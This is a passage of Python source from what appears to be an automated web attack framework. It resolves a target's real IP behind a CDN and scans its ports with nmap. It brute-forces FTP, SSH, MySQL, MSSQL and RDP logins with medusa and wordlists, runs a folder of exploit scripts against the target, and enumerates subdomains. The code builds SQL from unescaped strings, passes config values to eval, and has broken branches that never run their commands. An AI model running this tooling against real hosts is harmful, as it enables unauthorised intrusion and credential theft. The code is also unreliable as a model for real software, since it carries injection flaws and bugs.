        if each_table[-5:] == "_pang":
            target_is_pang_domain = True
            # pang_table_name = each_table[-5:]
        if each_table[-4:] == "_sub":
            target_is_sub_domain = True
            # sub_table_name = each_table[-4:]
    if target_is_pang_domain and target_is_sub_domain:
        target_is_pang_and_sub = True

    if not target_is_pang_domain and not target_is_sub_domain:
        # 这时target为主目标
        xcdn_obj = Xcdn(domain)
        ip = xcdn_obj.return_value
        if ip == 0:
            # 此时有cdn但是没有找到真实ip
            strings_to_write = "has cdn,but can not find actual ip"
            print(
                "Sorry,since I can not find the actual ip behind the cdn,I will return 0 here.")
        else:
            strings_to_write = ip
    if target_is_pang_domain and not target_is_pang_and_sub:
        # 这时target为旁站
        strings_to_write = "ip is same to main target"
    if target_is_sub_domain and not target_is_pang_and_sub:
        # 这时target为子站
        xcdn_obj = Xcdn(domain)
        ip = xcdn_obj.return_value
        if ip == 0:
            # 此时有cdn但是没有找到真实ip
            strings_to_write = "has cdn,but can not find actual ip"
            print(
                "Sorry,since I can not find the actual ip behind the cdn,I will return 0 here.")
        else:
            strings_to_write = ip

    if target_is_pang_and_sub:
        # 这时target既是旁站又是子站
        strings_to_write = "ip is same to main target"

    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"
    start_url = get_url_start_url(target)
    column_name_value = start_url if target_info['target_is_pang_or_sub'] else get_http_domain_from_url(
        target)

    for each_table in table_name_list:
        write_string_to_sql(strings_to_write, DB_NAME, each_table,
                            "actual_ip_from_cdn_scan", column_name, column_name_value)


def single_port_scan(target):
    # 这里扫描开放端口与服务情况
    # target可以是主要目标或是主要目标的旁站或子站,但是端口扫描比较特殊,如果target为旁站domain,则不进行端口扫描
    # 因为旁站与主站是同一ip,如果target是子站domain,进行端口扫描
    global DB_NAME

    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"

    import os

    def port_scan(ip):
        if "not found" in get_string_from_command("nmap"):
            os.system("apt-get -y install nmap")
        os.system("nmap -v %s 2>&1 | tee /tmp/nmapresult" % ip)
        with open("/tmp/nmapresult", "r+") as f:
            return_value = f.read()
        os.system("rm /tmp/nmapresult")
        return return_value

    if target[:4] != "http":
        print("error,target should be like http(s)://xxx.xxx.xxx")
        return
    table_name_list = get_target_table_name_list(target)
    if 1 == get_scan_finished(
        "port_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        target_is_pang_domain = False
        for each_table in table_name_list:
            # 旁站不再扫描端口
            if each_table[-5:] == "_pang":
                target_is_pang_domain = True
                break
        if target_is_pang_domain:
            strings_to_write = "same as main domain"
        else:
            # 如果前面第2次的cdn模块运行后没有得到子站的真实ip,则不进行端口扫描
            for each_table in table_name_list:
                result = execute_sql_in_db("select actual_ip_from_cdn_scan from %s where %s='%s'" %
                                           (each_table, column_name, target), DB_NAME)
                if len(result) > 0 and result[0][0] != "has cdn,but can not find actual ip":
                    ip = result[0][0]
                    strings_to_write = port_scan(ip)
                else:
                    strings_to_write = "I will not scan port coz find no actual ip behind cdn"

        for each_table in table_name_list:
            execute_sql_in_db(
                "update `%s` set port_scan_info='%s' where %s='%s'" %
                (each_table, strings_to_write, column_name, target), DB_NAME)


def single_port_brute_crack_scan(target):
    # 这里进行端口暴力破解的扫描
    # target可以是主要目标或是主要目标的旁站或子站,但是旁站不进行端口暴破,子站如果与主要目标ip不同再进行端口暴破

    # 对于主要目标,首先判断主要目标是否已经有开放了的端口信息21,22,3306,1433,3389,如果没有则不进行端口暴破
    # 对于子站目标,首先看ip是否是与主站相同,如果不是再进行21,22,3306,1433,3389端口暴破

    global DB_NAME
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"

    def port_brute_crack(ip, nmap_result_string):
        # 常见端口暴力破解,根据nmap的扫描结果
        # 首先查找当前ip已经得到的端口扫描的结果中有没有常见开放端口,如果有则暴力破解,如果没有或者不暴力破解
        return_string = ""
        if not os.path.exists("/usr/local/bin/medusa"):
            install_medusa()
        if re.search("Discovered open port 21/tcp", nmap_result_string, re.I):
            cmd = "medusa -h %s -U %s -P %s -t 5 -O /tmp/medusa_result -M ftp -v 6" % (
                ip, ModulePath + "dicts/user.txt", ModulePath + "dicts/pass.txt")
            print(cmd)
            os.system(cmd)
            with open("/tmp/medusa_result", "r+") as f:
                content = f.read()
                print(content)
            if re.search(r"success", content, re.I):
                return_string += content
            os.system("rm /tmp/medusa_result")

        if re.search("Discovered open port 22/tcp", nmap_result_string, re.I):
            cmd = "medusa -h %s -u root -P %s -t 5 -O /tmp/medusa_result -M ssh -v 6" % (
                ip, ModulePath + "dicts/pass.txt")
            os.system(cmd)
            with open("/tmp/medusa_result", "r+") as f:
                content = f.read()
            if re.search(r"success", content, re.I):
                return_string += content
            os.system("rm /tmp/medusa_result")
        if re.search("Discovered open port 3306/tcp", nmap_result_string, re.I):
            cmd = "medusa -h %s -u root -P %s -t 5 -O /tmp/medusa_result -M mysql -v 6" % (
                ip, ModulePath + "dicts/pass.txt")
            with open("/tmp/medusa_result", "r+") as f:
                content = f.read()
            if re.search(r"success", content, re.I):
                return_string += content
            os.system("rm /tmp/medusa_result")

        if re.search("Discovered open port 1433/tcp", nmap_result_string, re.I):
            cmd = "medusa -h %s -u sa -P %s -t 5 -O /tmp/medusa_result -M mssql -v 6" % (
                ip, ModulePath + "dicts/pass.txt")
            with open("/tmp/medusa_result", "r+") as f:
                content = f.read()
            if re.search(r"success", content, re.I):
                return_string += content
            os.system("rm /tmp/medusa_result")

        if re.search("Discovered open port 3389/tcp", nmap_result_string, re.I):
            cmd = "medusa -h %s -u sa -P %s -t 5 -O /tmp/medusa_result -M rdp -v 6" % (
                ip, ModulePath + "dicts/pass.txt")
            with open("/tmp/medusa_result", "r+") as f:
                content = f.read()
            if re.search(r"success", content, re.I):
                return_string += content
            os.system("rm /tmp/medusa_result")

        return return_string

    if target[:4] != "http":
        print("error,target should be like http(s)://xxx.xxx.xxx")
        return
    table_name_list = get_target_table_name_list(target)
    if 1 == get_scan_finished(
        "port_brute_crack_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        target_is_pang_domain = False
        target_is_sub_domain = False
        for each_table in table_name_list:
            # 旁站不进行端口暴破
            if each_table[-5:] == "_pang":
                target_is_pang_domain = True
                break
        for each_table in table_name_list:
            # 判断是否为子站
            if each_table[-5:] == "_sub":
                target_is_sub_domain = True
                break
        if target_is_pang_domain:
            strings_to_write = "same as main domain"
        else:
            # 如果前面第2次的cdn模块运行后没有得到子站的真实ip,则不进行端口暴力破解
            for each_table in table_name_list:
                result = execute_sql_in_db("select actual_ip_from_cdn_scan from %s where %s='%s'" %
                                           (each_table, column_name, target), DB_NAME)
                if len(result) > 0 and result[0][0] != "has cdn,but can not find actual ip":
                    ip = result[0][0]
                    if target_is_sub_domain:
                        # 如果是子站(也即不是主要目标),找出子站对应的主要目标的ip,如果与这个ip不同则进行端口暴破
                        main_target_http_domain = get_source_main_target_domain_of_sub_url(target)[
                            'http_domain']
                        result = execute_sql_in_db("select actual_ip_from_cdn_scan from %s where %s='%s'" %
                                                   (get_main_target_table_name(main_target_http_domain), column_name,
                                                       main_target_http_domain), DB_NAME)
                        if len(result) > 0 and result[0][0] != "has cdn,but can not find actual ip":
                            main_target_ip = result[0][0]
                            if ip != main_target_ip:
                                result = execute_sql_in_db("select port_scan_info from %s where %s='%s'" %
                                                           (each_table, column_name, target), DB_NAME)
                                if len(result) > 0:
                                    nmap_result_string = result[0][0]
                                    strings_to_write = port_brute_crack(
                                        ip, nmap_result_string)
                                else:
                                    strings_to_write = "coz I found no nmap scan result from database,I will not run port brute crack module"
                            else:
                                # 当前目标是子站,但是与主要目标在同一ip,这种情况不进行端口暴力破解
                                strings_to_write = "current target is a sub domain target,but its ip is same to it's main target ip"
                    else:
                        # 如果是主要目标且不是子站
                        result = execute_sql_in_db("select port_scan_info from %s where %s='%s'" %
                                                   (each_table, column_name, target), DB_NAME)
                        if len(result) > 0:
                            nmap_result_string = result[0][0]
                            strings_to_write = port_brute_crack(
                                ip, nmap_result_string)
                        else:
                            strings_to_write = "coz I found no nmap scan result from database,I will not run port brute crack module"

                else:
                    # 不管是主要目标还是子站,如果之前没有找到真实ip,则不进行端口暴力破解
                    strings_to_write = "I will not brute crack common open ports coz find no actual ip behind cdn"

        for each_table in table_name_list:
            execute_sql_in_db(
                "update `%s` set port_brute_crack_info='%s' where %s='%s'" %
                (each_table, strings_to_write, column_name, target), DB_NAME)


def single_whois_scan(target):
    # 这里进行whois信息收集的扫描
    # target可以是主要目标或是主要目标的旁站或子站,但是子站不找whois,旁站找whois

    global DB_NAME
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"

    def whois_collect(target):
        # 找whois会找域名的whois信息,eg.music.baidu.com找的时候会找baidu.com域名的信息,所以子站不需要找whois,
        # 旁站如果是子站的情况也不找whois
        import re
        result = get_request("http://whois.chinaz.com/%s" %
                             get_root_domain(target))
        content = result['content']
        # print(content)
        pattern = re.compile(
            r'''(注册商.*)(\n)|(\r\n).{,200}-------站长之家 <a href="http://whois.chinaz.com">Whois查询</a>-------''')
        out = re.search(pattern, content).group(1)
        pattern1 = re.compile("\>?([^\<\>]*)\<")
        result = re.findall(pattern1, out)
        # print(result)
        return_string = ""
        for each in result:
            if each not in ["注册商", "联系人", "联系方式", "创建时间", "过期时间", "公司", "域名服务器", "DNS", "状态", ""]:
                return_string += (each)
            elif each != "":
                return_string += ("\n" + each + ":\n")
        return return_string

    if target[:4] != "http":
        print("error,target should be like http(s)://xxx.xxx.xxx")
        return
    table_name_list = get_target_table_name_list(target)
    if 1 == get_scan_finished(
        "whois_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        target_is_sub_domain = False
        for each_table in table_name_list:
            if each_table[-4:] == "_sub":
                target_is_sub_domain = True
                break
        if not target_is_sub_domain:
            strings_to_write = whois_collect(target)
        else:
            strings_to_write = "whois is same to main target"

        for each_table in table_name_list:
            execute_sql_in_db(
                "update `%s` set whois_info='%s' where %s='%s'" %
                (each_table, strings_to_write, column_name, target), DB_NAME)


def single_risk_scan(target):
    # 单个target高危exp遍历模块
    # target要求为http(s)+domain格式
    # risk_scan模块对每个target,无论是主要目标的旁站还是子站,都进行详细的判断target是否是主要目标,并在对应的表
    # 中记录risk_scaned的完成状态
    # 这里的target不一定是主要目标,可以是旁站或子站
    # exps目录下的每个目录为不同中高危漏洞对应的检测脚本,需要python3,运行检测脚本后如果对应目录下有result.txt则代
    # 表有对应的漏洞,没有产生result.txt则代表没有对应的漏洞

    global DB_NAME
    global DELAY
    table_name_list = get_target_table_name_list(target)
    # url属于哪个主目标(非旁站子站的那个目标)
    # 如http://wit.freebuf.com得到www.freebuf.com
    # eg.www_freebuf_com_pang
    target_info = get_target_table_name_info(target)
    column_name = "http_domain" if target_info['target_is_pang_or_sub'] else "start_url"

    if 1 == get_scan_finished(
        "risk_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        return
    else:
        pass

    exp_list = os.listdir(ModulePath + "exps")

    # 在risk_scan前检测有没有进行端口扫描,如果没有进行端口扫描,强制先完成端口扫描模块
    if 0 == get_scan_finished(
        "port_scaned",
        DB_NAME,
        table_name_list[0],
        column_name,
            target):
        single_port_scan(target)

    for each in exp_list:
        time.sleep(DELAY)
        command = "python3 %s/%s/%s.py %s" % (
            ModulePath + "exps", each, each, target)
        os.system(command)
        # input("command finished,press any key")
        if os.path.exists(ModulePath + "exps/%s/result.txt" % each):
            with open(ModulePath + "exps/%s/result.txt" % each, "r+") as f:
                strings_to_write = f.read()
            os.system('rm %s' % ModulePath + "exps/" + each + "/result.txt")
        else:
            strings_to_write = ""

        for each_table in table_name_list:
            write_string_to_sql(strings_to_write, DB_NAME,
                                each_table, "risk_scan_info", column_name, target)

        if len(strings_to_write) != 0:
            mail_msg_to(
                strings_to_write,
                subject="risk info")


def get_url_cookie(url):
    # 得到url的cookie,目前为从config.ini文件中获取
    # eg.url=https://www.baidu.com:8080/dvwa/1.php
    # 如果url在config.ini中没有cookie,则查找config.ini中是否有url对应的主站有cookie，如果有对应的主站
    # 有cookie,则用url对应的start_url的cookie
    # 如果没有则返回""空字符串

    if not os.path.exists(CONFIG_INI_PATH):
        return ""
    with open(CONFIG_INI_PATH, "r") as f:
        content = f.read()
    a = re.findall(r"\[(http.+)\]\n", content)
    match_list = []
    if len(a) > 0:
        for each in a:
            if each in url:
                match_list.append(each)
        if len(match_list) > 0:
            max_len = 0
            for each in match_list:
                if len(each) >= max_len:
                    max_len = len(each)
                    max_url = each
            cookie = eval(get_key_value_from_config_file(
                CONFIG_INI_PATH, max_url, 'cookie'))
            return cookie
        else:
            # http://192.168.8.190/test use http://192.168.8.190/dvwa 's cookie
            for each in a:
                if get_http_domain_from_url(each) == get_http_domain_from_url(url):
                    cookie = eval(get_key_value_from_config_file(
                        CONFIG_INI_PATH, each, 'cookie'))
                    return cookie
            # 没有url对应的cookie则查找对应主站的cookie,如果有对应主站的cookie则返回主站的cookie
            # http://wit.freebuf.com use http://www.freebuf.com 's cookie
            main_target_domain = get_url_belong_main_target_domain(url)
            if main_target_domain is None:
                return ""
            tmp = main_target_domain.replace(".", "\.")
            find_main_domain = re.search(r"\[(http(s)?://%s)\]" % tmp, content)
            if find_main_domain:
                main_domain_url = find_main_domain.group(1)
                cookie = eval(get_key_value_from_config_file(
                    CONFIG_INI_PATH, main_domain_url, 'cookie'))
                return cookie

    return ""


def get_pang_domains(start_url):
    # 得到target的旁站列表
    # target为如http://www.baidu.com的域名,含http

    global DB_NAME
    global SCAN_WAY
    target = get_http_domain_from_url(start_url)
    if target[:4] == "http":
        domain = target.split("/")[-1]
    else:
        print("please make sure param has scheme http or https")
        return
    main_target_table_name = get_main_target_table_name(target)
    result = get_scan_finished(
        "get_pang_domains_finished",
        DB_NAME,
        main_target_table_name, "start_url",
        start_url)
    if result == 1:
        return
    else:
        pass

    if SCAN_WAY in [1, 3]:
        pass
    else:
        return
    figlet2file("geting pang domains", 0, True)
    print(target)

    import os
    if not os.path.exists(LOG_FOLDER_PATH):
        os.system("mkdir %s" % LOG_FOLDER_PATH)
    if not os.path.exists("%s/pang" % LOG_FOLDER_PATH):
        os.system("cd %s && mkdir pang" % LOG_FOLDER_PATH)
    domain_pang_file = "%s/pang/%s_pang.txt" % (
        LOG_FOLDER_PATH, domain.replace(".", "_"))
    domain_pang_table_name = target.split('/')[-1].replace(".", "_") + "_pang"
    import os
    import socket
    if os.path.exists(domain_pang_file):
        # 文件存在说明上次已经获取过旁站结果
        print("you have got the pang domains last time")
        # 如果数据库中存在对应表,但没有内容,说明数据库中表被删除,
        # 后来由于database_init函数在auto_attack重新运行时被执行,又有了旁站表
        # 此时旁站表为空将文件中的旁站写入数据库中
        result = execute_sql_in_db(
            "select http_domain from `%s`" % domain_pang_table_name, DB_NAME)
        if len(result) == 0:
            with open(domain_pang_file, "r+") as f:
                for each in f:
                    each = re.sub(r"(\s)$", "", each)
                    if each != target:

                        # 这里更新各个旁站的cookie
                        force_ask_cookie = eval(get_key_value_from_config_file(
                            CONFIG_INI_PATH, 'default', 'force_ask_cookie'))
                        if force_ask_cookie == 1:
                            cookie = input(
                                "请输入%s的cookie,直接回车表示不输入cookie\n:>" % each)
                        else:
                            print(
                                "你想输入%s的cookie吗?\ny|Y表示现在输入\nn|N表示现在不输入cookie\n[default 'n']" % each)
                            tmpchoose = get_input_intime('n', 3)
                            if tmpchoose in ['y', 'Y']:
                                cookie = input(
                                    "请输入%s的cookie,直接回车表示不输入cookie\n:>")
                            else:
                                cookie = ""
                        update_config_file_key_value(
                            CONFIG_INI_PATH, each, 'cookie', "'" + cookie + "'")

                        # 保持session不失效
                        cookie = get_url_cookie(each)
                        if cookie != "":
                            keep_session_thread = MyThread(
                                keep_session, (each, cookie))
                            keep_session_thread.start()

                        execute_sql_in_db("insert into `%s`(http_domain,domain) values('%s','%s')" % (
                            domain_pang_table_name, each, each.split("/")[-1]), DB_NAME)

                        auto_write_string_to_sql(
                            each,
                            DB_NAME,
                            main_target_table_name,
                            "pang_domains",
                            "start_url",
                            start_url)

                        # 创建除目标domain外的每个旁站的urls表,因为目标domain的urls表之前已经创建过
                        each_pang_urls_table_name = each.split(
                            '/')[-1].replace(".", "_") + "_urls"
                        sql = "create table `%s`(url varchar(250) not null primary key,code varchar(10) not null,\
title varchar(100) not null,content mediumtext not null,has_sqli varchar(50) not null,\
is_upload_url varchar(50) not null,\
like_webshell_url varchar(50) not null default 0,\
cracked_webshell_url_info varchar(50) not null,\
like_admin_login_url varchar(50) not null,\
cracked_admin_login_url_info varchar(50) not null,\
http_domain varchar(70) not null)" % each_pang_urls_table_name
                        execute_sql_in_db(sql, DB_NAME)
        else:
            return

    else:
        domain_list = []
        http_domain_list = []
        # origin_http_domain_url_list = []

        # xcdn_obj=Xcdn(domain)
        # ip = get_ip(domain)
        # ip = xcdn_obj.return_value
        result = execute_sql_in_db("select actual_ip_from_cdn_scan from `%s` where start_url='%s'" %
                                   (get_main_target_table_name(target), start_url), DB_NAME)
        if len(result) > 0:
            ip = result[0][0]
            if ip == "has cdn,but can not find actual ip":
                # 此时有cdn但是没有找到真实ip,这种情况不获取旁站,退出当前处理过程
                print(
                    "Sorry,since I can not find the actual ip behind the cdn,I will not get pang domains.")
                return
            elif ip == "0":
                print("did not finish cdn scan till here,it is impossible,check it")
                return
            else:
                pass
        else:
            print("something wrong in func get_pang_domains")
            sys.exit(0)

        print(domain)
        all_nics_ip = socket.gethostbyname_ex(domain)[2]
        # query = "ip:%s" % ip

        domains_to_check = []
        tmp_domain_list = get_ip_domains_list(ip)
        for each_domain in tmp_domain_list:
            if each_domain not in domain_list and get_ip(
                    each_domain) in all_nics_ip:
                domains_to_check.append(each_domain)

        domains_to_write = []

        def alive_check(check_domain):
            # 17/8/16增加存活检测
            if get_request("http://" + check_domain, by="MechanicalSoup")['code'] != 0 or get_request("https://" + check_domain, by="MechanicalSoup")['code'] != 0:
                domain_list.append(check_domain)
                domains_to_write.append(get_http_or_https(
                    check_domain) + "://" + check_domain)

        with futures.ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(alive_check, domains_to_check)

        http_domain_list = domains_to_write
        print(http_domain_list)
        import os
        save_url_to_file(http_domain_list, domain_pang_file)
        for each in http_domain_list:
            each = re.sub(r"(\s)$", "", each)
            if each != target:

                # 这里更新各个旁站的cookie
                force_ask_cookie = eval(get_key_value_from_config_file(
                    CONFIG_INI_PATH, 'default', 'force_ask_cookie'))
                if force_ask_cookie == 1:
                    cookie = input("请输入%s的cookie,直接回车表示不输入cookie\n:>" % each)
                else:
                    print(
                        "你想输入%s的cookie吗?\ny|Y表示现在输入\nn|N表示现在不输入cookie\n[default 'n']" % each)
                    tmpchoose = get_input_intime('n', 3)
                    if tmpchoose in ['y', 'Y']:
                        cookie = input("请输入%s的cookie,直接回车表示不输入cookie\n:>")
                    else:
                        cookie = ""
                update_config_file_key_value(
                    CONFIG_INI_PATH, each, 'cookie', "'" + cookie + "'")

                # 保持session不失效
                cookie = get_url_cookie(each)
                if cookie != "":
                    keep_session_thread = MyThread(
                        keep_session, (each, cookie))
                    keep_session_thread.start()

                execute_sql_in_db("insert into `%s`(http_domain,domain) values('%s','%s')" % (
                    domain.replace(".", "_") + '_pang', each, each.split('/')[-1]), DB_NAME)
                # 创建除目标domain外的每个旁站的urls表,因为目标domain的urls表之前已经创建过
                each_pang_urls_table_name = each.split(
                    '/')[-1].replace(".", "_") + "_urls"
                sql = "create table `%s`(url varchar(250) not null primary key,code varchar(10) not null,\
title varchar(100) not null,content mediumtext not null,has_sqli varchar(50) not null,\
is_upload_url varchar(50) not null,\
like_webshell_url varchar(50) not null default 0,\
cracked_webshell_url_info varchar(50) not null,\
like_admin_login_url varchar(50) not null,\
cracked_admin_login_url_info varchar(50) not null,\
http_domain varchar(70) not null)" % each_pang_urls_table_name
                execute_sql_in_db(sql, DB_NAME)
        f = open(domain_pang_file, "r+")
        all = f.read()
        f.close()
        find_http_domain = re.search(
            r"(http(s)?://%s)" % re.sub(r"\.", "\.", domain), all)
        # http_domain = ""
        if find_http_domain:
            # http_domain = find_http_domain.group(1)
            pass
        else:
            print("can not find http_domain in %s" % domain_pang_file)
        # http_domain = target
        pang_domains = ""
        for each in http_domain_list:
            if re.sub(r"(\s)$", "", each) != target:
                pang_domains += (each + '\n')
        auto_write_string_to_sql(
            pang_domains,
            DB_NAME,
            main_target_table_name,
            "pang_domains",
            "start_url",
            start_url)
    execute_sql_in_db(
        "update `%s` set get_pang_domains_finished='1' where start_url='%s'" %
        (main_target_table_name, start_url), DB_NAME)


def get_sub_domains(start_url, use_tool="Sublist3r"):
    # target为http开头+domain
    # 注意target(http://www.baidu.com)要换成如baidu.com的结果,然后再当作参数传入下面可能用的工具中
    # www.baidu.com--->baidu.com,baidu.com是下面工具的参数
    # use_tool为子站获取工具选择
    # Sublist3r工具详情如下
    # 获取子站列表,domain为域名格式,不含http
    # https://github.com/aboul3la/Sublist3r
    # works in python2,use os.system get the execute output

    global DB_NAME
    global SCAN_WAY
    if re.match(r"https?://(\d+\.){3}\d+", start_url, re.I):
        return
    target = get_http_domain_from_url(start_url)

    if target[:4] == "http":
        domain = target.split("/")[-1]
    else:
        print("make sure your para in get_sub_domains func has scheme like http or https")
        return
    main_target_table_name = get_main_target_table_name(target)
    result = get_scan_finished(
        "get_sub_domains_finished",
        DB_NAME,
        main_target_table_name, "start_url",
        start_url)
    if result == 1:
        return
    if result == 0:
        pass
    if SCAN_WAY in [2, 3]:
        pass
    else:
        return
    figlet2file("geting sub domains", 0, True)

    root_domain = get_root_domain(domain)
    if not os.path.exists(LOG_FOLDER_PATH):
        os.system("mkdir %s" % LOG_FOLDER_PATH)
    if not os.path.exists("%s/sub" % LOG_FOLDER_PATH):
        os.system("cd %s && mkdir sub" % LOG_FOLDER_PATH)
    store_file = LOG_FOLDER_PATH + "/sub/" + \
        domain.replace(".", "_") + "_sub.txt"
    Sublist3r_store_file = ModulePath + "Sublist3r/Sublist3r.out.txt"
    sub_domains_brute_store_file = ModulePath + \
        "sub_domains_brute/sub_domains_brute.out.txt"
    sub_domains_table_name = domain.replace(".", "_") + "_sub"

    def Sublist3r(domain):
        # 用Sublist3r方式获取子站
        if not os.path.exists(ModulePath + "Sublist3r"):
            os.system(
                "git clone https://github.com/aboul3la/Sublist3r.git %s_sublist3r" % ModulePath)
            # 下面的cd到一个目录只在一句代码中有效,执行完就不在Sublist3r目录里了
            os.system(
                "cd %s_sublist3r && pip install -r requirements.txt" % ModulePath)
        os.system("cd %s_sublist3r && python sublist3r.py -v -d %s -o %s" %
                  (ModulePath, root_domain, Sublist3r_store_file))
        with open(Sublist3r_store_file, "r+") as f:
            alllines = f.readlines()
        os.system("rm %s" % Sublist3r_store_file)

        domains_to_check = []
        for each_sub_domain in alllines:
            each_sub_domain = re.sub(r"\s$", "", each_sub_domain)
            if each_sub_domain not in domains_to_check:
                domains_to_check.append(each_sub_domain)

        domains_to_write = []

        def alive_check(check_domain):
            # 17/8/16增加存活检测
            if get_request("http://" + check_domain, by="MechanicalSoup")['code'] != 0 or get_request("https://" + check_domain, by="MechanicalSoup")['code'] != 0:
                domains_to_write.append(check_domain)

        with futures.ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(alive_check, domains_to_check)

        with open(Sublist3r_store_file, "a+") as f:
            for each_sub_domain in domains_to_write:
                f.write(each_sub_domain + "\n")

    def sub_domains_brute(domain):
        # 用sub_domains_brute方式获取子站
        # https://github.com/lijiejie/sub_domains_brute.git
        if not os.path.exists(ModulePath + "sub_domains_brute"):
            os.system(
                "git clone https://github.com/lijiejie/sub_domains_brute.git %ssub_domains_brute" % ModulePath)
            os.system("pip3 install dnspython")
        os.system(
            "cd %ssub_domains_brute && python sub_domains_brute.py -i -o %s %s" %
            (ModulePath, sub_domains_brute_store_file, root_domain))
        with open(sub_domains_brute_store_file, "r+") as f:
            alllines = f.readlines()
        os.system("rm %s" % sub_domains_brute_store_file)

        domains_to_check = []
        for each_sub_domain in alllines:
            each_sub_domain = re.sub(r"\s$", "", each_sub_domain)
            if each_sub_domain not in domains_to_check:
                domains_to_check.append(each_sub_domain)

        domains_to_write = []

        def alive_check(check_domain):
            # 17/8/16增加存活检测
            if get_request("http://" + check_domain, by="MechanicalSoup")['code'] != 0 or get_request("https://" + check_domain, by="MechanicalSoup")['code'] != 0:
                domains_to_write.append(check_domain)

        with futures.ThreadPoolExecutor(max_workers=20) as executor:
            executor.map(alive_check, domains_to_check)

        with open(sub_domains_brute_store_file, "a+") as f:
            for each_sub_domain in domains_to_write:
                f.write(each_sub_domain + "\n")

    if not os.path.exists(store_file):

        if use_tool == "all":
            Sublist3r(root_domain)
            os.system(
                "cat %s > %s" % (Sublist3r_store_file, store_file))
            os.system("rm %s" % Sublist3r_store_file)
            sub_domains_brute(root_domain)
            with open(sub_domains_brute_store_file, "r+") as f:
                with open(store_file, "a+") as outfile:
                    for each in f:
                        outfile.seek(0)
                        if each not in outfile.readlines():
                            outfile.seek(2)
                            outfile.write(each)
            os.system("rm %s" % sub_domains_brute_store_file)
        if use_tool == "Sublist3r":
            Sublist3r(domain)
            os.system(
                "cat %s > %s" % (Sublist3r_store_file, store_file))
            os.system("rm %s" % Sublist3r_store_file)
        if use_tool == "sub_domains_brute":
            sub_domains_brute(domain)
            os.system("cat %s > %s" % (sub_domains_brute_store_file, store_file))
            os.system("rm %s" % (ModulePath, sub_domains_brute_store_file))

    else:
        # 文件存在说明上次已经获取sub domains
        print("you have got the sub domains last time")
        result = execute_sql_in_db(
            "select http_domain from `%s`" % sub_domains_table_name, DB_NAME)

        if len(result) == 0:
            pass
        else:
            return

    http_sub_domains_to_write = []
    with open(store_file, "r+") as f:
        hint_time = 0
        hint_str1 = "\rplease wait,I am writing sub domains info to database."
        hint_str2 = "\rplease wait,I am writing sub domains info to database.."
        hint_str3 = "\rplease wait,I am writing sub domains info to database..."
        sys.stdout.write(hint_str1)
        for each in f:
            # 有可能会有一个old.version.of.sublist3r.works.better.for....的内容,这个忽略
            if not re.search(r"sublist3r", each, re.I):

                # 下面打印正在写数据到数据库的提示,这里由于有get_request请求，如果目标的子站比较多会共一点时间,
                # 所以提示
                hint_time += 1
                if (hint_time % 3) == 0:
                    sys.stdout.write("\r" + len(hint_str2) * " ")
                    sys.stdout.flush()
                    sys.stdout.write(hint_str3)
                elif (hint_time % 3) == 2:
                    sys.stdout.write("\r" + len(hint_str1) * " ")
                    sys.stdout.flush()
                    sys.stdout.write(hint_str2)
                else:
                    sys.stdout.write("\r" + len(hint_str3) * " ")
                    sys.stdout.flush()
                    sys.stdout.write(hint_str1)

                each = re.sub(r"(\s)$", "", each)
                # 注意这里和旁站处理不同,因为这里获得的子站没有http开头,文件和数据库中的对应值都没有http开头,所
                # 以这里需要经历get_http_or_https函数
                each_http_domain = get_http_or_https(each) + "://" + each
                http_sub_domains_to_write.append(each_http_domain)

                # 这里更新各个子站的cookie
                force_ask_cookie = eval(get_key_value_from_config_file(
                    CONFIG_INI_PATH, 'default', 'force_ask_cookie'))
                if force_ask_cookie == 1:
                    cookie = input(
                        "请输入%s的cookie,直接回车表示不输入cookie\n:>" % each_http_domain)
                else:
                    print("你想输入%s的cookie吗?\ny|Y表示现在输入\nn|N表示现在不输入cookie\n[default 'n']" %
                          each_http_domain)
                    tmpchoose = get_input_intime('n', 3)
                    if tmpchoose in ['y', 'Y']:
                        cookie = input("请输入%s的cookie,直接回车表示不输入cookie\n:>")
                    else:
                        cookie = ""
                update_config_file_key_value(
                    CONFIG_INI_PATH, each_http_domain, 'cookie', "'" + cookie + "'")

                # 保持session不失效
                cookie = get_url_cookie(each_http_domain)
                if cookie != "":
                    keep_session_thread = MyThread(
                        keep_session, (each_http_domain, cookie))
                    keep_session_thread.start()

                if each != target.split("/")[-1]:
                    write_string_to_sql(
                        each,
                        DB_NAME,
                        main_target_table_name,
                        "sub_domains",
                        "start_url",
                        start_url)
                    execute_sql_in_db(
                        "insert ignore into `%s`(http_domain,domain) values('%s','%s')" %
                        (sub_domains_table_name,
                         each_http_domain,
                         each), DB_NAME)

                    # 创建每个sub domain的urls表,eg,wit_freebuf_com_urls
                    # 这里创建sub domain的urls表和pang domain的urls表的创建的具体创建方法不一样,创建pang domain的
                    # urls表的时候分了两种不同情况下[本地文件存在和本地文件不存在的两种情况]分别创建urls表,这里统一
                    # 创建urls表,不管本地文件是否存在,也即不管上次有没有已经获取过sub domains,这里的处理方法更好,代
                    # 码更短,这里额外加上如果urls表存在则不创建urls表的判断,因为例如在SCAN_WAY=3且旁站和子站有重叠
                    # 的时候由于先进入的get_pang_domains函数运行后已经创建了urls表,重叠的站对应的urls表会在此时再次
                    # 创建,所以加上这个情况的判断用来容错
                    each_sub_urls_table_name = each.replace(".", "_") + "_urls"
                    sql = "create table `%s`(url varchar(250) not null primary key,code varchar(10) not null,\
    title varchar(100) not null,content mediumtext not null,has_sqli varchar(50) not null,\
    is_upload_url varchar(50) not null,\
    like_webshell_url varchar(50) not null default 0,\
    cracked_webshell_url_info varchar(50) not null,\
    like_admin_login_url varchar(50) not null,\
    cracked_admin_login_url_info varchar(50) not null,\
    http_domain varchar(70) not null)" % each_sub_urls_table_name
                    if not exist_table_in_db(each_sub_urls_table_name, DB_NAME):
                        execute_sql_in_db(sql, DB_NAME)

    os.system("rm %s" % store_file)
    with open(store_file, "a+") as f:
        for each_http_sub_domain in http_sub_domains_to_write:
